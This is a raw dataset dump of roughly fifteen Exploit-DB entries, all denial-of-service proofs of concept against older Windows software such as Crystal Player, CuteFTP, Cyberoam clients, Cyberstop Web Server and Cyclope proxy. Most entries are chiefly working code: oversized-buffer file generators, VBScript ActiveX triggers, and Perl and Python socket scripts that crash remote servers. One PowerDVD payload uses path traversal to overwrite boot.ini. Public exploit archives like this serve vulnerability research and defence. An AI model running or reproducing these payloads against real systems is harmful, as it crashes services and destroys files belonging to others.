deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5201
Description: Crysis 1.1.1.5879 - Remote Format String Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-02-28
Author: Long Poke

Exploit:
The Crysis engine passes along internal debug strings through the game. One of them is passed to vsprintf() in the crt lib:

30503263   8D8C24 10100000  LEA ECX,DWORD PTR SS:[ESP+1010]
3050326A   51               PUSH ECX
3050326B   50               PUSH EAX
3050326C   8D5424 08        LEA EDX,DWORD PTR SS:[ESP+8]
30503270   52               PUSH EDX
30503271   FF15 F8A17530    CALL DWORD PTR DS:[<&MSVCR80.vsprintf>]  ; MSVCR80.vsprintf

0032CAD8   30503277  w2P0  /CALL to vsprintf from cryactio.30503271
0032CADC   0032CAE8  Ã¨ÃŠ2.  |buffer = 0032CAE8
0032CAE0   0032DAF8  Ã¸Ãš2.  |format = "Pathfinding in animation graph failed (LONGPOKE%SAAAAAAAA) - no path from 'Parachute_Float_NW' to 'X_Combat_IdleAimingNull_NW'"  ; Your name is passed in as part of the format. This is a nono...
0032CAE4   0032DAF8  Ã¸Ãš2.  \arglist = 0032DAF8

POC:
Type name %n\x00\x00\x00\x00 in the console.
Type kill.
Upon your death, everyone in the server will instantly execute the format string vulnerability. If you are in third person in a vehicle, it will be exploited on your game as well.

-LONGPOKE<ATOM>

# milw0rm.com [2008-02-28]
Exploit-DB #34530
Description: Crystal Player 1.98 - '.mls' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-08-20
Author: Praveen Darshanam

Exploit:
source: https://www.securityfocus.com/bid/42727/info

Crystal Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Crystal Player 1.98 is vulnerable; other versions may also be affected. 

print "\n\nCrystal Player v1.98 .mls File Processing DoS"

#
#http://software-files-l.cnet.com/s/software/11/00/21/13/CrystalPro.exe?e=[PII_REDACTED]&h=e237bd6e2c2618e09cee1995b7e71d8f&lop=link&ptype=1901&ontid=2139&siteId=4&edId=3&spi=b6d2964a3df3b4a831dfecbe47f768ab&pid=11002113&psid=10210499&fileName=CrystalPro.exe
#

buff = "D" * 8400

try:
	mlsfile = open("cp_crash.mls","w")
	mlsfile.write(buff)
	mlsfileclose()
	print "[+] Successfully created MLS File\n"
	print "[+] Load this File to Crystal Player CPU Usage shoots upto 100%\n"
	print "[+] Coded by Praveen Darshanam\n"
except:
	print "[+] Unable to Create File"
Exploit-DB #35869
Description: Crystal Player 1.99 - Memory Corruption
Type: dos
Platform: windows
Date: 2015-01-21
Author: Kapil Soni

Exploit:
Document Title:
===============
Crystal Player 1.99 - Memory Corruption Vulnerability

Date:
=============
21/01/2015

Vendor Homepage: 
================
http://www.crystalreality.com/

Abstract Advisory Information:
==============================
Memory Corruption Vulnerability on Crystal Player 1.99.

Affected Product(s):
====================
Crystal Player 1.99

Exploitation Technique:
=======================
Local

Severity Level:
===============
Medium

Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file. 
Attackers can crash the software local by user inter action over mls (playlist).

--- DEBUG LOG ---
///registers
EAX 00000000
ECX 0006FE24
EDX 0006FE24
EBX 0013014C
ESP 0006F300
EBP 00060041
ESI 00FF4A00
EDI 00000001
EIP 0040F933 Crystal.0040F933
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



--- ERROR LOG ---
Crystal+0xf933:
0040f933 8b5510          mov     edx,dword ptr [ebp+10h] ss:0023:00060051=????????


00060051 doesnt exist in the program aka not allowed .. so memcopy fails...


EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)

Access violation when reading [00060051]

Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with userinteraction ...

#!/usr/bin/python

buffer = "A"*30000

filename = "Crash"+".mls"
file = open(filename, 'w')
file.write(buffer)
file.close()
print "[] Successfully MLS Created []"


How to perform:
=======================
1) Open Immunity Debugger and attach Crystal Player 1.99 
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist. 

When you perform above steps so application will crash. Analyze it on Immunity.

Solution - Fix & Patch:
=======================
Restrict working maximum size & set a own exception-handling for over-sized requests.

Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of the local crash method.

Authors:
==================
Kapil Soni (Haxinos)
Exploit-DB #15408
Description: Crystal Report Viewer 8.0.0.371 - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2010-11-03
Author: Matthew Bergin

Exploit:
<html>
Crystal Reporting Viewer v8.0.0.371
Author: Matthew Bergin
Website: www.berginpentesting.com
Website: www.smashthestack.org
<object classid='clsid:C4847596-972C-11D0-9567-00A0C9273C2A' id='target' ></object>
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\crviewer.dll"
prototype  = "Sub SearchByFormula ( ByVal formula As String )"
memberName = "SearchByFormula"
progid     = "CRVIEWERLib.CRViewer"
argCount   = 1

arg1=String(65535, "A")

target.SearchByFormula arg1 

</script>
Exploit-DB #9817
Description: CuteFTP 8.3.3 - 'create new site' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-25
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

#####################################################################################################
#
# CuteFTP v8.3.3 Home/Pro/Lite Create New Site Local Buffer Overflow PoC
# Found By:	Dr_IDE
# Download: 	http://www.cuteftp.com/downloads/
# Tested On:	Windows 7 RC, XP might be more shell friendly
# Notes: 	This PoC exploits the "Create New Site" mechanism. Any site type that you pick will work.
# 		Because of differences in the internal process of each site type you may be able to get
#		execution through one of these channels.
#
#####################################################################################################

"""
EAX 02120000
ECX 0228BA90 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 41414141
EBX 00004141
ESP 0018C160
EBP 0018C230
ESI 0228BA88
EDI 41414141
EIP 77843913 ntdll.77843913
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 1  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -??? FFFF 000000FF 00FF00FF
ST1 empty -??? FFFF [PII_REDACTED]
ST2 empty -??? FFFF [PII_REDACTED]
ST3 empty[PII_REDACTED][PII_REDACTED]
ST4 empty [PII_REDACTED]000000000
ST5 empty [PII_REDACTED]000000000
ST6 empty 16[PII_REDACTED]00000000
ST7 empty 16[PII_REDACTED]00000000
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

"""

buff = ("\x41" * 20000)

try:
	f1 = open("CuteFTP.txt","w");
	f1.write(buff);
	f1.close();

	print "\nCuteFTP v8.3.2 Home/Pro/Lite Create New Site Local Buffer Overflow PoC"
	print "By: Dr_IDE"
	print "\nFile Created Successfully.\n"
	print "Usage:\n [-] Click File\n [-] Create New FTP Site\n [-] Paste String into Label Field\n [-] Enter anything for Address\n [-] Click Connect\n [-] Boom."
except:
	print "[-] Error. File couldn't be created."
Exploit-DB #39452
Description: CyberCop Scanner Smbgrind 5.5 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2016-02-16
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/SMBGRIND-BUFFER-OVERFLOW.txt



Vendor:
=======================
Network Associates Inc.



Product:
===========================================
smbgrind: NetBIOS parallel password grinder
circa 1996-1999

smbgrind.exe is a component of CyberCop Scanner v5.5. It is intended to
remotely crack SMB
usernames and passwords, used to establish a login session to the remote
NetBIOS file server.
Cybercop was discontinued back in 2002.

    usage: smbgrind -i <address> [options]

        -r      Remote NetBIOS name of destination host
        -i      IP address of destination host
        -u      Name of userlist file (default NTuserlist.txt)
        -p      Name of password list file (default NTpasslist.txt)
        -l      Number of simultaneous connections (max: 50 default: 10)
        -v      Provide verbose output on progress



Vulnerability Type:
===================
Buffer Overflow



CVE Reference:
==============
N/A



Vulnerability Details:
======================

Smbgrind.exe succumbs to buffer overflow when supplied a large number of
bytes (1206) for the -r switch for the remote
NetBios name of destination host. Resulting in memory corruption
overwriting several registers...

GDB dump...

Program received signal SIGSEGV, Segmentation fault.
0x0040c421 in ?? ()
(gdb) info r
eax            0x3      3
ecx            0x41414141      [PII_REDACTED]
edx            0x41414141      [PII_REDACTED]
ebx            0x41414141      [PII_REDACTED]
esp            0x241e89c        0x241e89c
ebp            0x241e8a8        0x241e8a8
esi            0x[PII_REDACTED]432
edi            0x41414141      [PII_REDACTED]
eip            0x40c421 0x40c421
eflags         0x10283  [ CF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x53     83
gs             0x2b     43
(gdb)


smbgrind core dump file...

(C:\smbgrind.exe 1000) exception C0000005 at 40C421

(C:\smbgrind.exe 1000) exception: ax 2 bx 41414141 cx 41414141 dx 41414141

(C:\smbgrind.exe 1000) exception: si 401408 di 41414141 bp 241F39C sp
241F390

(C:\smbgrind.exe 1000) exception is: STATUS_ACCESS_VIOLATION



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx
Exploit-DB #4479
Description: CyberLink PowerDVD - CreateNewFile Remote Rewrite Denial of Service
Type: dos
Platform: windows
Date: 2007-10-01
Author: rgod

Exploit:
<!--
CyberLink PowerDVD CLAVSetting Module (CLAVSetting.DLL 1.00.1829) arbitrary remote rewrite dos

this is installed by default on Acer Travelmate series
allows to overwrite files with an empty one
extension doesn't matter

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller

rgod
-->
<html>
<object classid='clsid:0990EDE2-3498-43D0-971D-D5321C893210' id='CLSetting' /></object>
<script language='vbscript'>
CLSetting.CreateNewFile "..\..\..\..\..\..\..\..\boot.ini"
</script>
</html>

# milw0rm.com [2007-10-01]
Exploit-DB #46927
Description: Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Victor Mondragón

Exploit:
#Exploit Title: Cyberoam General Authentication Client 2.1.2.7 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/Cyberoam%20General%20Authentication%20Client%202.1.2.7.zip
#Tested Version: 2.1.2.7
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: cgac_2.1.2.7.py
#2.- Open cgac_2.1.2.7.txt and copy content to clipboard
#3.- Open Cyberoam General Authentication Client
#4.- In "Server Address" field paste Clipboard
#5.- Click on "Test"
#6.- Crashed! 

cod = "\x41" * 256

f = open('cgac_2.1.2.7.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46923
Description: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Victor Mondragón

Exploit:
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip
#Tested Version: 1.3.1.30
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: c_sslvpn_cts.py
#2.- Open c_sslvpn_cts.txt and copy content to clipboard
#3.- Open Cyberoam SSLVPN Client
#4.- Select Server Settings 
#5.- In "Connect To Server" field paste Clipboard
#6.- In "Port" type 80
#7.- Select "OK"
#8.- Crashed! 

cod = "\x41" * 5000

f = open('c_sslvpn_cts.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46924
Description: Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Victor Mondragón

Exploit:
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip
#Tested Version: 1.3.1.30
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: c_sslvpn_http.py
#2.- Open c_sslvpn_http.txt and copy content to clipboard
#3.- Open Cyberoam SSLVPN Client
#4.- Select Proxy Settings > Enable "Manual Configuration"
#5.- In "HTTP Proxy" address field paste Clipboard
#6.- In "Port" type 80
#7.- Select "OK"
#8.- Crashed! 

cod = "\x41" * 5000

f = open('c_sslvpn_http.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46925
Description: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Victor Mondragón

Exploit:
#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip
#Tested Version: 2.1.2.5
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ctas_fqdn_2.1.2.5.py
#2.- Open ctas_fqdn_2.1.2.5.txt and copy content to clipboard
#3.- Open Cyberoam Transparent Authentication Suite
#4.- Select General > in Domain Type select "Microsoft Active Directory"
#5.- In "Fully Qualified Domain Name" paste Clipboard
#6.- Click on "Apply"
#7.- Crashed! 

cod = "\x41" * 1000

f = open('ctas_fqdn_2.1.2.5.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46926
Description: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Victor Mondragón

Exploit:
#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip
#Tested Version: 2.1.2.5
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ctas_nn_2.1.2.5.py
#2.- Open ctas_nn_2.1.2.5.txt and copy content to clipboard
#3.- Open Cyberoam Transparent Authentication Suite
#4.- Select General > in Domain Type select "Microsoft Active Directory"
#5.- In "NetBIOS Name" Paste Clipboard
#6.- Click on "Apply"
#7.- Crashed! 

cod = "\x41" * 1500

f = open('ctas_nn_2.1.2.5.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #21237
Description: Cyberstop Web Server 0.1 - Long Request Denial of Service
Type: dos
Platform: windows
Date: 2002-01-22
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/3930/info

Cyberstop is a web server for Windows 9x/NT/2000 systems.

Attacks can be launched on a Cyberstop host if a request is submitted containing an unusual number of arbitrary characters. Cyberstop web server will stop responding, a restart of the application may be required in order to regain normal functionality. 

#!/usr/bin/perl
# Simple script to send a long 'A^s' command to the server, 
# resulting in the server crashing.
#
# CyberStop WEbserver v0.1 proof-of-concept exploit
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Cyber_DoS.pl -s <server>
#
# Example: 
#
# perl -x Cyber_DoS.pl -s 10.0.0.1
# 
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";


$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";


print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}
Exploit-DB #18017
Description: Cyclope Internet Filtering Proxy 4.0 - 'CEPMServer.exe' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2011-10-21
Author: loneferret

Exploit:
#!/usr/bin/python

# Title: Cyclope Internet Filtering Proxy 4.0 - CEPMServer.exe DoS (Poc).
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Software link: http://www.cyclope-series.com/download/index.aspx?p=2
 
# Date Found: Oct 20th 2011
# Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard
# Tested with: Registered and Unregistered versions
# Nod to the Exploit-DB Team

# The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app.
# It will log all of the client's activities such as visited web sites, the time etc.
# There's an optional client application if the administrator wishes to acquire the computer name and user
# information.

# The CEPMServer service is what logs user and computer name when one uses the optional client application.
# This service is always on regardless of the client's use. So sending an abonormaly large string will cause a 
# crash. It doesn't stop the filtering but it does stop it from logging usernames and computer names.
# Seeing this application is pretty unstable, most often then not you need to re-install Cyclope completely
# to have the logging feature to work again.

# No registers are overwriten with this PoC, but it is possible to get ESI & EAX. Just throw SPIKE at it
# and you'll get those 2 registers. I was just too lazy this morning to investigate so...

# As always, if someone can make something more out of this PoC go right ahead.
# Have fun,
# loneferret


import struct
import socket

junk = "%25n" * 100000

buffer = "<user>loneferret" + junk + "</user><computer>machine</computer><ip>1.1.1.1</ip>\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\nSending evil buffer..."
s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address
s.send(buffer)
s.close()

print "\nDone! "
Exploit-DB #21737
Description: Cyme ChartFX Client Server - ActiveX Control Array Indexing
Type: dos
Platform: windows
Date: 2012-10-04
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   CYME Power Engineering Software

Platforms:   Windows
Version:   CYME version 5.0.12.663.

Secunia: SA48430

{PRL}:   2012-29

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

The CYME Power Engineering software is a suite of applications composed of a network editor, analysis
modules and user-customizable model libraries from which you can choose to get the most powerful solution. 

The modules available comprise a variety of advanced applications and extensive libraries for either
transmission/industrial or distribution power network analysis.
 
(http://www.cyme.com/software/)
 
This software is use by all major electrical production/distrubtion company
http://www.cyme.com/company/clients/
 
#####################################################################################

============================
2) Report Timeline
============================

2012-03-14  Vulnerability reported to Secunia
2012-10-03  Publication of this advisory (180 Days)


#####################################################################################

============================
3) Technical details
============================
The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()"
method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be
exploited to write a single byte value to an arbitrary memory location via the
"pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.


#####################################################################################

===========
4) The Code
===========
<object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' />
<script language='vbscript'>
targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll"
prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )"
memberName = "ShowPropertiesDialog"
progid = "Cfx62ClientServer.Chart"
argCount = 2
 
arg1="defaultV"
arg2=[PII_REDACTED]
 
target.ShowPropertiesDialog arg1 ,arg2